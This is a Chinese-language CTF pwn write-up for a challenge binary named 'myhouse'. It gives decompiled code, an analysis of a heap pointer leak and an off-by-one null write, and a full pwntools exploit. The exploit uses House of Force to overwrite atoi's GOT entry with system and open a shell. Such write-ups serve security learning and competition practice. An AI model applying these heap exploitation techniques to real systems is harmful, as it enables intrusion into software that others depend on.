checksec
1
2
3
4
5
6
7
[*] '/home/b0ldfrev/myhouse'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
int v5; // eax
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
myputs("Welcome to house building system", argv);
add_house();
v3 = 0LL;
v4 = &s;
memset(&s, 0, 0x10uLL);
while ( 1 )
{
while ( 1 )
{
menu(v4, v3);
v3 = &s;
read(0, &s, 0xFuLL);
v4 = &s;
v5 = atoi(&s);
if ( v5 != 2 )
break;
decorate_room((__int64)&s, (__int64)&s);
}
if ( v5 > 2 )
{
if ( v5 == 3 )
{
show_house((__int64)&s, (__int64)&s);
}
else
{
if ( v5 == 4 )
exit(0);
LABEL_13:
v4 = "Invalid option!";
myputs("Invalid option!", &s);
}
}
else
{
if ( v5 != 1 )
goto LABEL_13;
build_room((__int64)&s, (__int64)&s);
}
}
}
add_house
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 add_house()
{
void *v0; // rsi
int v1; // eax
size_t size; // [rsp+0h] [rbp-30h]
__int64 v4; // [rsp+8h] [rbp-28h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
myputs("What's your name?", 0LL);
read(0, &owner, 0x20uLL);
myputs("What is the name of your house?", &owner);
housen = malloc(0x100uLL);
v0 = housen;
read(0, housen, 0x100uLL);
myputs("What is the size of your house?", v0);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
v4 = v1;
size = v1;
if ( (unsigned __int64)v1 > 0x300000 )
{
do
{
myputs("Too large!", &s);
read(0, &s, 0xFuLL);
size = atoi(&s);
}
while ( size > 0x300000 );
}
housed = malloc(size);
myputs("Give me its description:", &s);
read(0, housed, size - 1);
*((_BYTE *)housed + v4 - 1) = 0;
return __readfsqword(0x28u) ^ v6;
}
build_room
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall build_room(__int64 a1, __int64 a2)
{
size_t size; // [rsp+8h] [rbp-28h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
myputs("What is the size of your room?", a2);
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
size = atoi(&s);
room = malloc(size);
if ( room )
::size = size;
else
::size = 0LL;
return __readfsqword(0x28u) ^ v5;
}
decorate_room
1
2
3
4
5
ssize_t __fastcall decorate_room(__int64 a1, __int64 a2)
{
myputs("Make your room more shining!", a2);
return read(0, room, size);
}
show_house
1
2
3
4
5
6
7
8
9
__int64 show_house()
{
myputs("Name:");
myputs(housen);
myputs("Owner:");
myputs(&owner);
myputs("And description:");
return myputs(housed);
}
漏洞利用
add_house函数有两处漏洞
漏洞1:
由于read函数没有对输入后的数据尾进行置零处理,导致show_house函数打印被填满的owner变量时会泄露下方的*housen指针。我们可利用其泄露堆地址。
1
2
myputs("What's your name?");
read(0, &owner, 0x20uLL);
漏洞2:
1
*((_BYTE *)housed + v3 - 1) = 0;
错误地使用了之前的长度变量,这里可导致任意地址写一个\x00
字节.
大致思路 :
我们可以利用漏洞1泄露堆块地址,巧妙的利用漏洞2 写 main_arena 的 top 指针低字节为\x00,来缩小topchunk地址来使topchunk与上一个chunk空间复用
漏洞2利用这块说下,我们之前无法泄露libc地址,但是我们可以利用mapped内存的偏移去定位 main_arena,因为当我们以mmap方式分配内存时,它的结束地址实际上紧接内存中libc文件的code段,如图:
再分配house时,在housename的块内存中伪造一个topchunk的头( pre_szie=0x0 size=0xffffffffffffffff )执行完add_house函数后,堆布局如下:
然后就可以利用House-of-force进行任意地址分配堆块,实现任意地址写,关于它的利用方式详见我的博文 House of Force
接下来就是正常套路了,我们将堆块分别配到bss段上,控制下面这段内存:
housed指针 与 room指针 都填成atoi函数got表地址。先调用show_house泄露atoi实际地址,算出system地址;再调用decorate_room往room地址(实际atoi函数got表地址)里面写入system函数地址。这样就完成了覆写atoi函数的got表,下次调用时传入“/bin/sh”,拿下shell。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p = process("./myhouse")
libc = ELF("./libc-2.23.so")
def addh(name,hname,size,size2,data):
p.recvuntil("name?\n")
p.send(name)
p.recvuntil("house?\n")
p.send(hname)
p.recvuntil("house?\n")
p.send(str(size))
p.recvuntil("Too large!\n")
p.send(str(size2))
p.recvuntil("description:\n")
p.send(data)
def add(size):
p.recvuntil("Your choice:\n")
p.sendline(str(1))
p.recvuntil("room?\n")
p.send(str(size))
def edit(data):
p.recvuntil("Your choice:\n")
p.sendline(str(2))
p.recvuntil("shining!\n")
p.send(data)
def show():
p.recvuntil("Your choice:\n")
p.sendline(str(3))
def g(p):
gdb.attach(p)
raw_input()
# 写 main_arena 的 top 指针低字节为\x00,并泄露heap地址
top_addr= 0x3c4b78
mapped_size = 0x201000
offset = mapped_size - 0x10 + top_addr + 1
addh("A"*0x20 ,"1"*0xf0+p64(0)+p64(0xffffffffffffffff),offset,0x200000,'2'*0x20)
show()
p.recvuntil("A"*0x20)
heap = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))
print "heap : "+hex(heap)
# 利用house of force 降低topchunk到bss段
attack_bss = 0x6020b0
topchunk_addr = heap + 0x100
offset2 = attack_bss - topchunk_addr
print "offset2 : "+hex(offset2)
add(offset2)
# 分配到bss段的chunk,控制bss段数据,往housed指针与room指针写atoi_got
add(0x60)
atoi_got = 0x602058
payload = p64(atoi_got) + p64(atoi_got)
edit(payload)
# 泄露atoi,system地址
show()
p.recvuntil("description:\x0a")
atoi_addr = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))
print "atoi_addr : "+hex(atoi_addr)
system_addr = atoi_addr -libc.symbols['atoi'] + libc.symbols['system']
print "system_addr : "+hex(system_addr)
# 写atoi函数got表为system函数地址
edit(p64(system_addr))
p.recvuntil("choice:")
# get shell
p.send("/bin/sh\x00")
p.interactive()